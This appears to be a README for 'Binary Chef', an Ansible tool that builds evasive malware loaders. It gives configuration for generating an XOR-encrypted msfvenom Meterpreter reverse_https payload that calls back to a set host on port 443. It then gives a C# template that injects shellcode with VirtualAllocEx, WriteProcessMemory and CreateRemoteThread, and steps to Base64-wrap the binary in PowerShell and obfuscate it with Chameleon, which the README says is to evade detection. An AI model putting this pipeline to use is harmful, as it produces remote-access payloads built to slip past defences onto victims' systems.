Overview:
Binary Chef automates the process of building executables, converting them into PowerShell modules, and obfuscating the resulting .ps1 files using Ansible. This tool utilizes a Jinja template for C# shellcode injection and automates PowerShell script obfuscation through Chameleon.
-
Payload Creation & Encryption
Usesmsfencoder(viamsfvenom) to generate and encrypt the payload. -
Template Injection
A Jinja-based C# template is used to inject the encrypted payload into a specified location in the C# source code. -
Compilation
Automatically compiles the modified C# code on a Windows machine. -
Base64 Encoding
The compiled executable is encoded to Base64 and then imported into a PowerShell module. -
Obfuscation
Finally, the PowerShell script is obfuscated using Chameleon to help evade detection.
Use the following commands to execute the entire workflow. The first playbook (build-binary.yaml) compiles the binaries, and the second (encode-command.yaml) handles Base64 encoding and further obfuscation:
ansible-playbook build-binary.yaml --ask-become-pass
ansible-playbook encode-command.yamlBelow is a simplified diagram of the workflow:
-
WinRM HTTPS Configuration
RunSetup/ConfigureWinrmHTTPS.ps1on your Windows machine to enable WinRM over HTTPS. This is required for Ansible to connect over HTTPS. -
Visual Studio / .NET
Ensure you have Visual Studio (tested with Visual Studio 2022 Community) and the required .NET packages installed.
- Recommended: Kali Linux
You will manage three critical settings in your local environment:
- Connection Options
- Compiling Options
- Source Code Options
Define the IP addresses and login credentials for your Kali and Windows machines in an Ansible inventory file (e.g., hosts):
[kali]
169.254.217.2
[kali:vars]
ansible_host=169.254.217.2
ansible_port=22
ansible_ssh_user=XXXXX
ansible_python_interpreter=python3
# Optional for SSH
# ansible_ssh_private_key_file=~/.ssh/kali.private
[windows]
169.254.217.3
[windows:vars]
ansible_host=169.254.217.3
ansible_user=XXXXX
ansible_password=XXXXX
ansible_connection=winrm
ansible_port=5986
ansible_winrm_server_cert_validation=ignore
ansible_winrm_scheme=https
# ansible_python_interpreter=c:\Python\python
ansible_python_interpreter=python3
# Option for SSH
ansible_ssh_private_key_file=~/.ssh/win11.privateInstall pywinrm on your local machine to enable Ansible to communicate with Windows over WinRM:
- pip3 install pywinrm
Next, adjust the variables in group_vars/all.yaml (or a corresponding group variable file):
server: 169.254.217.2
ports: 443
format: 'cs'
encrypt_method: 'xor'
encrypt_key: '0xfa'
payload: 'windows/meterpreter/reverse_https'src: ../../../codemaker/src/*.j2out: ../../../codemaker/outtempdir: C:/Temp/compiler: C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\Roslyn\csc.exeSource Code Options
- Store C# template files in
codemaker/src/ - Important: Name them with a
.j2extension so Ansible can process them as Jinja templates. - Within each template file, include the placeholder
{{ payloadContent }}where the shellcode should be inserted. For example:
using System;
public static void Main(string[] args)
{
{{ payloadContent }}
// Additional code logic here...
VirtualAllocEx();
WriteProcessMemory();
CreateRemoteThread();
}